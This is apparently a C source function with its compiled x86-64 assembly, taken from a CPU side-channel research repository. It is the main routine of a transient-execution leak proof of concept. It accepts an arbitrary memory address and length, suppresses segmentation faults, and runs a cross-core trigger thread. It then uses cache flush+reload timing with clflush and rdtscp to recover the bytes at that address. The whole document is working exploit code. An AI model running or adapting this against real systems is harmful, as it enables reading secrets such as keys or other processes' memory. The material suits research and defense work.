// File: /workspace/github_c_makefile_star2_O2/vusec[P]fpvi-scsb/leakers/mo/leak.c
// Function: main
int main(int argc, char **argv)
{
    uint64_t leak_addr;
    uint32_t leak_length;
    uint8_t *leak_ptr;
    pthread_t tid;

    if (argc > 2)
    {
        sscanf(argv[1], "0x%lx", &leak_addr);
        sscanf(argv[2], "%d", &leak_length);
        leak_ptr = (uint8_t *) leak_addr;
    }
    else
    {
        leak_ptr = "This is a test to verify that it leaks";
        leak_length = strlen(leak_ptr);
    }

    /* Setup */
    assert(signal(SIGSEGV, segfault_handler) != SIG_ERR);
    __attribute__((aligned(4096))) size_t results[LEAK_SIZE] = {0};
    unsigned char *reload_buf   = (unsigned char *) mmap(NULL, LEAK_SIZE*STRIDE, PROT_READ | PROT_WRITE,
            MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE | MAP_HUGETLB, -1, 0);
    assert(reload_buf != MAP_FAILED);
    set_cpu(EXECUTER_CORE);
    tid = create_thread(TRIGGER_CORE, mo_trigger_loop, NULL);
    usleep(2000);

    for(int i=0; i<leak_length; i++)
    {
        memset(results, 0, sizeof(results));

        for(int j=0; j<ITER; j++)
        {
            flush(reload_buf);
            if (!setjmp(buf))
            {
                mo_leak(reload_buf, leak_ptr+i);
            }
            reload(reload_buf, results);
        }

        printf("0x%016lx :\n", (uint64_t)(leak_ptr+i));
        print_results(results, ITER/10);
    }

    cancel_thread(tid);

    printf("Number of suppressed SIGSEGV: %d\n", sigsegvs);

    return 0;    
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
andq $-0x1000, %rsp          # imm = 0xF000
subq $0x2000, %rsp           # imm = 0x2000
cmpl $0x3, %edi
jl 0x401373
movq %rsi, %rbx
movq 0x8(%rsi), %rdi
leaq 0xcd9(%rip), %rsi       # 0x402017
xorl %eax, %eax
movl %eax, %r14d
leaq 0xff8(%rsp), %r15
movq %r15, %rdx
callq 0x401110
movq 0x10(%rbx), %rdi
leaq 0xcbf(%rip), %rsi       # 0x40201d
leaq 0xfdc(%rsp), %rdx
movl %r14d, %eax
callq 0x401110
movq (%r15), %rax
jmp 0x401385
movl $0x26, 0xfdc(%rsp)
leaq 0xc9b(%rip), %rax       # 0x402020
movq %rax, 0xff0(%rsp)
leaq 0x1ef(%rip), %rsi       # 0x401583
pushq $0xb
popq %rdi
callq 0x4010e0
cmpq $-0x1, %rax
je 0x40154d
xorl %eax, %eax
movl %eax, %edi
pushq $0x3
popq %rdx
pushq $-0x1
popq %r8
movl $0x40000, %esi          # imm = 0x40000
movl $0x48022, %ecx          # imm = 0x48022
movq %rdi, %r9
callq 0x401070
cmpq $-0x1, %rax
je 0x401566
movq %rax, %rbx
movq %rax, %r14
xorl %r15d, %r15d
movl %r15d, %edi
callq 0x4018d0
leaq -0xe0(%rip), %rsi       # 0x401305
movl %r15d, %r13d
pushq $0x1
popq %rdi
movq %r13, %rdx
callq 0x4019a1
movq %rax, 0xfe8(%rsp)
movl $0x7d0, %edi            # imm = 0x7D0
callq 0x4011a0
leaq 0x1000(%rsp), %r12
pushq $0xd
popq %r15
movl 0xfdc(%rsp), %eax
cmpq %rax, %r13
jae 0x401519
xorl %esi, %esi
movq %r12, %rdi
xorl %r12d, %r12d
movl $0x800, %edx            # imm = 0x800
callq 0x4010a0
movq 0xff0(%rsp), %rax
movq %r13, 0xfe0(%rsp)
addq %rax, %r13
xorl %eax, %eax
cmpl $0x3e8, %r12d           # imm = 0x3E8
je 0x4014e7
cmpq $0x40000, %rax          # imm = 0x40000
je 0x40146c
leaq (%rbx,%rax), %rcx
clflush (%rcx)
addq $0x400, %rax            # imm = 0x400
jmp 0x401455
mfence
leaq 0x30aa(%rip), %rdi      # 0x404520
callq 0x4010d0
testl %eax, %eax
jne 0x40148a
movq %r14, %rdi
movq %r13, %rsi
callq 0x401609
mfence
movq %r15, %rsi
cmpq $0xa70d, %rsi           # imm = 0xA70D
je 0x4014df
movzbl %sil, %eax
movl %eax, %edi
movl %edi, %eax
shll $0xa, %eax
movl %eax, %r8d
rdtscp
shlq $0x20, %rdx
movq %rdx, %r9
orq %rax, %r9
movb (%r14,%r8), %al
rdtscp
shlq $0x20, %rdx
orq %rax, %rdx
subq %r9, %rdx
cmpq $0x9f, %rdx
ja 0x4014d6
incq 0x1000(%rsp,%rdi,8)
addq $0xa7, %rsi
jmp 0x401490
incl %r12d
jmp 0x401446
leaq 0xbbd(%rip), %rdi       # 0x4020ab
movq %r13, %rsi
callq 0x401080
leaq 0x1000(%rsp), %r12
movq %r12, %rdi
pushq $0x64
popq %rsi
callq 0x401298
movq 0xfe0(%rsp), %r13
incq %r13
jmp 0x401411
movq 0xfe8(%rsp), %rdi
callq 0x401a76
movl 0x30bc(%rip), %esi      # 0x4045e8
leaq 0xb84(%rip), %rdi       # 0x4020b7
xorl %ebx, %ebx
movl %ebx, %eax
callq 0x401080
movl %ebx, %eax
leaq -0x28(%rbp), %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
leaq 0xaf3(%rip), %rdi       # 0x402047
leaq 0xb19(%rip), %rsi       # 0x402074
leaq 0xb19(%rip), %rcx       # 0x40207b
pushq $0x49
jmp 0x40157d
leaq 0xb25(%rip), %rdi       # 0x402092
leaq 0xb00(%rip), %rsi       # 0x402074
leaq 0xb00(%rip), %rcx       # 0x40207b
pushq $0x4d
popq %rdx
callq 0x401090